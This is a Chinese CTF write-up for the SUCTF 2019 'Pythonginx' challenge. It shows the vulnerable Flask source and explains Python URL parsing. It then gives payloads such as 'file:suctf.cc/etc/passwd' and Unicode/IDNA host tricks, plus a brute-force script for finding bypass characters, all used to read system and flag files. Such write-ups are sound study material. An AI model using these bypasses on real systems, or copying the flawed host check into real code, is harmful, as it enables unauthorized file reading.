[SUCTF 2019]Pythonginx

考点:

nginx重要文件位置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

解析

题目给出了源码

from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
    return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl, timeout=2).read()
    else:
        return "我扌 your problem? 333"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

审计代码:

前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。

urllib.parse模块

urllib.parse模块主要是用于解析url中的参数 对url按照一定格式进行 拆分或拼接

1.urlparse.urlparse

将url分为6个部分,返回一个包含6个字符串项目的元组:协议、位置、路径、参数、查询、片段。

import urlparse
url_change = urlparse.urlparse('https://i.cnblogs.com/EditPosts.aspx?opt=1')
print url_change

输出结果为:

ParseResult(scheme='https', netloc='i.cnblogs.com', path='/EditPosts.aspx', params='', query='opt=1', fragment='')

其中 scheme 是协议 netloc 是域名服务器 path 相对路径 params是参数,query是查询的条件

urlparse.parse_qs(urlparse.urlparse(url).query)

这个是获取urlparse分割后元祖中的某一项 urlparse.urlparse(url).query 获取查询条件

parse_qs 有几种实现

urlparse.parse_qs 返回字典
urlparse.parse_qsl 返回列表

2.urlparse.urlsplit

和urlparse差不多,将url分为5部分,返回一个包含5个字符串项目的元组:协议、位置、路径、查询、片段。

import urlparse
url_change = urlparse.urlsplit('https://i.cnblogs.com/EditPosts.aspx?opt=1')
print url_change

SplitResult(scheme='https', netloc='i.cnblogs.com', path='/EditPosts.aspx', query='opt=1', fragment='')

其中 scheme 是协议 netloc 是域名服务器 path 相对路径 query是查询的条件

解法一

CVE-2019-9636:urlsplit 不处理 NFKC 标准化

测试

from urllib.parse import urlsplit,urlunsplit,unquote
from urllib import parse

url="file:suctf.cc/usr/local/nginx/conf/nginx.conf"
parts=parse.urlsplit(url)
print(parts)

url2=urlunsplit(parts)
parts2=parse.urlsplit(url2)

print(parts2)

结果

image-20211017014247588

构造

?url=file:suctf.cc/etc/passwd
?url=file:suctf.cc/usr/local/nginx/conf/nginx.conf   #读取nginx配置文件
?url=file:suctf.cc/usr/fffffflag

解法二

url中的unicode漏洞引发的域名安全问题

idna与utf-8编码漏洞

例如:

字符 ℆ 经过 Idna 和 utf-8 处理后被解析, ℆ -> c/u

也就是说我们可以构造

file://suctf.c℆sr/fffffflag
↓↓↓
file://suctf.cc/usr/fffffflag

解法三

from urllib.parse import urlparse, urlunsplit, urlsplit
from urllib import parse


def get_unicode():
    for x in range(65536):
        uni = chr(x)
        url = "http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False


if __name__ == '__main__':
    get_unicode()

脚本原理也就是遍历字符拼接到url中,直到能够绕过if判断后将其输出

跑出结果后选择一个即可

file://suctf.cⅭ/usr/fffffflag

参考:

https://blog.csdn.net/rfrder/article/details/109743728

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值